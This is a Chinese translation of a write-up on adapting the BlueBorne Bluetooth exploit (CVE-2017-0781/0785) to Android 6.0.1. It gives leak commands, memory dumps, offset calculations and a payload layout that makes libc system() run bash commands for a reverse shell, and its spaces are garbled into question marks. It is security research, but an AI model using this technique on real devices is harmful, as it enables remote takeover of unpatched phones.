Android BlueBorne (CVE-2017-0781)漏洞分析和利用
導語:幾天前,Armis公司發布了一個通過藍牙攻擊Android系統的遠程代碼執行安全漏洞(CVE-2017-0781)的PoC,這個漏洞也叫做BlueBorne。盡管BlueBorne是一組8個漏洞的集合,但是這個PoC只用了其中的2個來實現攻擊目的。
幾天前,Armis公司發布了一個通過藍牙攻擊Android系統的遠程代碼執行安全漏洞(CVE-2017-0781)的PoC,這個漏洞也叫做BlueBorne。盡管BlueBorne是一組8個漏洞的集合,但是這個PoC只用了其中的2個來實現攻擊目的。
該漏洞利用過程分為兩個階段,首先使用內存泄漏漏洞(CVE-2017-0785)獲取到內存地址來繞過ASLR保護,從而調用libc庫的system函數,并執行代碼,在本文中的情況是獲得了一個反向Shell。
Armis?發布的PoC?的原始源代碼是用于攻擊Pixel和Nexus 5X手機上的Android 7.1.2 系統的,這意味著如果你要在另一個手機的系統中利用漏洞時,只需要在代碼中修改libc和藍牙庫的偏移量就行了。
稍后我們將會看到,在6.0.1版本中,分析藍牙庫的代碼的變化是非常重要的,這使得漏洞的利用變得復雜化,迫使我們對PoC的代碼進行了多處的修改。
要執行以下某些操作,必須在手機上擁有root權限。
相關庫下載
第一步是在我們的計算機上用IDA或Radare提取庫進行分析。
$?adb?pull?/system/lib/hw/bluetooth.default.so? $?adb?pull?/system/lib/libc.solibc?的?system?函數
我們用Radare?打開libc.so并查找system函數。我們可以看到它是在地址0x3ea04中,我們在變量中引入LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 +1。
$?r2?-A?libc.so? >?afl~system?0x0003ea04???10?184??????????sym.system內存泄漏
內存泄漏使我們能夠發現庫libc.so和bluetooth.default.so已被加載的地方。
在分析的模型中,所需要的元素與提取的內存不在同一位置,所以我們必須查找庫中的值,并根據這個值修改下面的代碼。
likely_some_libc_blx_offset?=?result[X][X]? likely_some_bluetooth_default_global_var_offset?=?result[X][X]要執行這個任務,我們需要獲得一個內存轉儲,以及com.android.bluetooth進程的部分映射。同時獲取這些數據是很重要的事情,因為這些地址在每次重新啟動時都會發生改變。
$?ps?|?grep?blue bluetooth?2184??212???905552?47760?sys_epoll_?b6ca7894?S?com.android.bluetooth$?cat?/proc/2184/maps|grep?bluetooth.default.so b376f000-b38b0000?r-xp?00000000?b3:19?1049???????/system/lib/hw/bluetooth.default.so b38b1000-b38b4000?r--p?00141000?b3:19?1049???????/system/lib/hw/bluetooth.default.so b38b4000-b38b5000?rw-p?00144000?b3:19?1049???????/system/lib/hw/bluetooth.default.so我們在內存泄漏的地址0xB376f000和0xb38b5000之間搜索一個值,為了方便起見,我使用腳本CVE-2017-0785.py進行操作
$?python?CVE-2017-0785.py?TARGET=BC:F5:AC:XX:XX:XX?|?grep?"b3?7.|b3?8." 00000050??00?00?00?00??00?02?00?01??00?00?01?00??b3?85?e3?b7 00000060??00?00?00?00??ae?df?c5?f0??ac?b6?19?10??b3?8b?ed?84 ... 000000f0??b3?8b?ed?78??00?00?00?00??ab?10?2e?10??ab?12?af?50 00000100??ac?b6?11?f0??b3?8b?ed?78??00?00?00?00??b3?85?e4?7d 00000110??00?00?00?00??b3?85?e3?b7??ac?b6?11?f0??b3?85?b9?11 00000120??ac?b6?11?f0??b3?8b?ed?84??b3?84?8c?8d??b3?97?f5?2c ... 00000180??00?00?00?00??b3?8b?3d?80??ae?e1?55?ec??ae?e1?56?cc在我演示的這種情況中,我使用了0xb38b3d80(第180行)這個地址,我們計算了偏移量并更新了變量BLUETOOTH_BSS_SOME_VAR_OFFSET的值,同時不要忘記更新獲取該值的結果表中的元素。
為了計算libc的基址,我們遵循上述相同的操作過程。
$?cat?/proc/2184/maps|grep?libc.so b6c67000-b6cd9000?r-xp?00000000?b3:19?1118???????/system/lib/libc.so b6cd9000-b6cdd000?r--p?00071000?b3:19?1118???????/system/lib/libc.so b6cdd000-b6ce0000?rw-p?00075000?b3:19?1118???????/system/lib/libc.so $?python?CVE-2017-0785.py?TARGET=BC:F5:AC:XX:XX:XX?|?grep?"b6?c." 00000080??00?00?00?00??00?00?00?00??00?00?02?a8??b6?ce?92?e8 000000a0??00?00?00?08??ab?1b?04?c8??b6?cd?c5?94??00?00?00?01 000000b0??b3?99?18?20??b6?cb?c3?cf??ab?1b?04?c8??ae?df?c8?68 000000c0??ae?ed?10?00??ab?10?2e?10??b6?ce?93?0c??ab?1b?04?c0 ... 00000350??b6?cd?c5?94??00?00?00?01??ab?10?44?3c??b6?cb?c3?cf 00000370??b6?ce?93?0c??ab?1b?04?c0??b6?cd?c5?94??ab?1b?04?c8 00000380??ae?ea?04?20??b6?cb?f2?5b??00?01?00?00??ab?10?2f?00 00000400??00?00?00?01??b6?cb?05?c3??ab?10?44?30??00?00?00?00使用這些值中的任何一個,我們計算偏移量并將其輸入到變量LIBC_SOME_BLX_OFFSET中?
從這一刻起,我們可以忽視ASLR。
我們用下面這段代碼可以顯示腳本中result變量的內存泄漏。
def?print_result(result):i?=?0for?line?in?result:sys.stdout.write("%02d:?"?%?i)for?x?in?line:sys.stdout.write("%08x?"?%?x)else:sys.stdout.write("n")i?+=?1另外,如果我們抽取幾個過程的樣本,我們可以比較它們,看看哪些值不會發生改變,并把它們作為參考。
$?python3?diff.py?1?2?3?4?5?6?7?8?9?10?11?12?13?14 00:?00000000?00000000?00000000?00000000?00000000?00000000?00000000?00000000?00000000 01:?00000000?00000000?00000000?00000000?00000000?00000000?00000000?00000000?00000000 02:?00000000?00000000?00000000?00020001?a___0700?_____061?00000000?b6d__d59?_____481 03:?________?00000000?00000008?_____541?_____1e3?00007530?00000000?________?_____534 04:?________?_____534?a______0?_____463?_____481?________?00000000?00000000?________ 05:?_____783?a______8?________?_____000?a_______?b6d__274?a______0?b6d__594?a______8 06:?________?b6d__eeb?___0____?00000008?b3______?_______0?_____f50?00000000?a_______ 07:?b3______?_______0?_____f50?00000000?_____bad?00000000?_____adf?_______0?_____061 08:?_______0?_____f58?_____481?_____bd8?00000000?0000000f?________?_____1e3?00007530 09:?00000000?_____bd8?_____534?_____bd8?_____534?_______0?_____463?_____481?_____bd8 10:?00000000?00000000?_____bd8?_____783?_____481?_____bd0?0000____?_______c?_____d34 11:?_______c?_______b?_______b?00000002?_____053?_______b?0000000_?00000000?b4d____0 12:?_____090?00000004?_____538?b6d__035?00000000?00000000?00000005?00000348?000005f0 13:?b6d__250?________?00000005?_______0?_____000?00000008?a______8?b6d__594?00000001 14:?00000000?b6d__03f?a______8?_______0?_____000?________?b6d__274?a______0?b6d__594 15:?a______8?_______0?b6d__eeb?00000000?_____c9d?________?4000____?a______0?00000003 16:?00000000?a______0?a______8?________?00000004?_______c?00000006?_______c?_____4c1 17:?0000004_?_______4?________?00000000?_____4e5?00000006?________?00000014?_____827 18:?_____f3c?_____75f?fffff855?_____581?_____618?b______0?_____607?_____f5c?0000000f 19:?0000000f?00000001?00000000?0000000f?_______c?_______4?________?00000000?_____bd7REMOTE_NAME變量
該變量包含了進行連接的設備的名稱,在PoC版本7.1.2中,它用于輸入system函數的地址和bash命令。稍后會詳細介紹使用這個變量的細節。
我找到這個變量的內存地址所使用的方法是使用GDB與PEDA-ARM和searchmem內存搜索函數。該偏移量被輸入到變量BSS_ACL_REMOTE_NAME_OFFSET中。
有效載荷
正如我們在Armis?發布的PoC?的技術細節中看到的那樣,如果我們用REMOTE_NAME的地址覆蓋R0?,則btu_hci_msg_process函數會跳轉到[ REMOTE_NAME + 8],將REMOTE_NAME的地址留在R0上。
mov?r4,?r0? ...? ldr?r1,?[r4?+?8]? mov?r0,?r4? blx?r1因此,在這種情況下,我們在REMOTE_NAME + 8中輸入system函數的內存地址。system函數將執行的參數是REMOTE_NAME的內容,因此在其中包含system地址會導致錯誤。Armis的研究人員使用了以下結構來解決這個問題,其中2個命令是用; 分開的,system函數的地址停留在了位置8。
Payload is: '"x17AAAAAAsysm";n<bash_commands>n#'
在Android 6.0.1版中,由于庫中不存在相同的函數,所以不可能以相同的方式執行操作。另一方面,在可利用的功能中,我使用了000f1e36,同樣能夠控制jump方向和r0的值。
這些是允許我們控制r0和jump方向的指令。
ldr?r0,?[r0?+?4] ... ldr?r3,?[r0?+?8] ldr?r0,?[r0] ldr?r2,?[r3?+?28] blx?r2簡化一下,我們就有了以下等式,其中x是我們控制的4個字節的值。
jump?=?[[[x+4]+8]+28] r0?=?[[x+4]]為了實現我們的攻擊目的,我們需要用三個指針來控制跳轉,一個用來控制r0。
用作REMOTE_NAME的有效載荷的結構如下:
0??????????????????4??????8???????????12???????16??????????????X +------------------+------+-----------+--------+---------------+ |?shellscript_addr?|?name?|?name?-?16?|?system?|?bash_commands?| +------------------+------+-----------+--------+---------------+Jump?address: 1?:?[name+4]?=?name 2?:?[name+8]?=?name-16 3?:?[name-16+28]?=?[name+12]?=?systemr0: 1?:?[name+4]?=?name 2?:?[name]?=?shellscript_addr代碼執行
一旦代碼編寫完成,我們就需要進行測試,并觀察如何像原來的PoC一樣能夠成功執行,有必要多次啟動它以獲得令人滿意的Exp。
相關代碼
blueborne-nexus5.py
diff.py
Armis BlueBorne Android漏洞利用PoC
鳴謝
borjmz?kifo?kalrong
本文翻譯自:https://jesux.es/exploiting/blueborne-android-6.0.1-english/ ,如若轉載,請注明原文地址:?http://www.4hou.com/mobile/8496.html 與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的Android BlueBorne (CVE-2017-0781)漏洞分析和利用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Android Framework常用工
- 下一篇: Double Free浅析(泄露堆地址的